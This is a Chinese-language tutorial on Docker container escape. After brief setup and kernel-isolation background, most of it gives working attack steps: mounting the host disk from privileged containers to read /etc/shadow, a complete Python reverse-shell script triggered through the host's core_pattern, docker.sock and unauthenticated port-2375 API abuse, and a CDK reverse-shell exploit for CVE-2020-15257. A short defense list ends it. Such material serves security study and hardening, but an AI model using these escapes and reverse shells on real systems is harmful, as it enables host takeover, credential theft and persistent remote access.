Docker容器逃逸
字数 1520 2025-08-10 08:28:24
Docker容器逃逸技术详解
一、容器逃逸概述
容器逃逸是指攻击者从受限制的容器环境中突破隔离机制,获取宿主机权限的过程。本质上,容器内的进程只是一个受限的普通Linux进程,逃逸过程就是通过各种手段获取未受限的完整权限。
二、环境搭建
1. Docker安装
curl -fsSL https://get.docker.com/ | sh
docker run ubuntu echo "welcome" # 验证安装
2. Docker-Compose安装
sudo curl -L "https://github.com/docker/compose/releases/download/1.23.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker-compose --version
3. 设置国内镜像源
vi /etc/docker/daemon.json
{
"registry-mirrors": ["http://hub-mirror.c.163.com"]
}
systemctl restart docker.service
三、Linux内核安全机制
1. Namespace(命名空间)
实现资源隔离的机制:
- PID namespace:进程ID隔离
- User namespace:用户和用户组ID隔离
- Mount namespace:文件系统挂载点隔离
- Network namespace:网络设备/IP/端口隔离
- UTS namespace:主机名和域名隔离
2. Cgroups(控制组)
用于资源分配、限制和管理,通过内核钩子实现资源追踪和控制。
3. Capabilities
Linux 2.2+引入的细粒度权限控制机制,容器社区致力于实现最小权限原则。
四、容器环境检测
1. 检查cgroup信息
cat /proc/1/cgroup | grep -qi docker && echo "In Docker" || echo "Not Docker"
- 普通Docker容器示例:
5:hugetlb:/docker/f904ce4cc383... - Kubernetes环境示例:
12:hugetlb:/kubepods/burstable/pod45226403...
2. 检查.dockerenv文件
ls -alh / | grep .dockerenv
注意:低权限用户可能看不到该文件
3. 检查硬盘信息
fdisk -l
容器环境通常输出为空(特权模式除外)
五、容器逃逸技术
1. 配置不当导致的逃逸
危险配置:
--privileged:打破所有权限隔离--net=host:打破网络隔离--pid=host:打破进程隔离--volume /:/host:打破文件系统隔离
2. Privileged特权模式逃逸
检测特权模式:
fdisk -l # 特权模式可查看磁盘列表
cat /proc/self/status | grep CapEff # 特权模式掩码为0000003fffffffff或0000001fffffffff
逃逸方法:
mkdir /test && mount /dev/sda1 /test
cat /test/etc/shadow # 查看宿主机文件
可操作宿主机关键文件如:
/etc/cron*/root/.ssh/authorized_keys/root/.bashrc
3. 挂载宿主机procfs逃逸
环境检测:
find / -name core_pattern # 返回两个core_pattern文件说明挂载了宿主机procfs
逃逸步骤:
- 获取宿主机绝对路径:
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
# 将work替换为merged得到路径
- 准备反弹shell脚本(
/tmp/.ning.py):
#!/usr/bin/python3
import os, pty, socket
lhost = "172.17.0.1"
lport = 4445
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
- 修改core_pattern:
echo -e "|/var/lib/docker/overlay2/[ID]/merged/tmp/.ning.py\ncore" > /host/proc/sys/kernel/core_pattern
- 触发崩溃程序(
ning.c):
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
编译执行后可在攻击机获取宿主机shell
4. 挂载Docker Socket逃逸
环境检测:
ls -lah /var/run/docker.sock
逃逸步骤:
- 容器内安装Docker客户端
- 创建挂载宿主机根目录的容器:
docker run -it -v /:/ning ubuntu /bin/bash
- 切换根目录:
chroot /ning
5. CVE-2020-15257漏洞利用
环境要求:容器以--net=host启动
检测方法:
cat /proc/net/unix | grep 'containerd-shim'
利用工具:使用CDK工具
./cdk run shim-pwn reverse [ip] [port]
6. Docker远程API未授权访问
检测方法:
curl http://<target>:2375/info
# 或
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}'` && wget http://$IP:2375
逃逸方法:
- 方法一:
docker -H tcp://127.0.0.1:2375 run -it -v /:/mnt nginx:latest /bin/bash
- 方法二:
export DOCKER_HOST="tcp://127.0.0.1:2375"
docker run --rm -it --privileged -net=host -v /:/tmp/docker alpine
cd /tmp/docker && chroot ./ bash
7. Docker用户组权限提升
利用条件:用户属于docker组
利用方法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
六、容器内横向移动
1. 使用busybox
下载地址:https://www.busybox.net/downloads/binaries/1.30.0-i686/busybox
2. 常用工具
- fscan
- kscan
七、防御建议
- 避免使用
--privileged特权模式 - 限制危险挂载(如
/proc、/) - 严格控制Docker Socket访问权限
- 及时更新Docker版本修复已知漏洞
- 限制2375/2376端口的访问
- 谨慎分配docker组用户权限
八、参考资源
- CDK工具:https://github.com/cdk-team/CDK
- 云安全研究:https://github.com/RuoJi6/cloud-security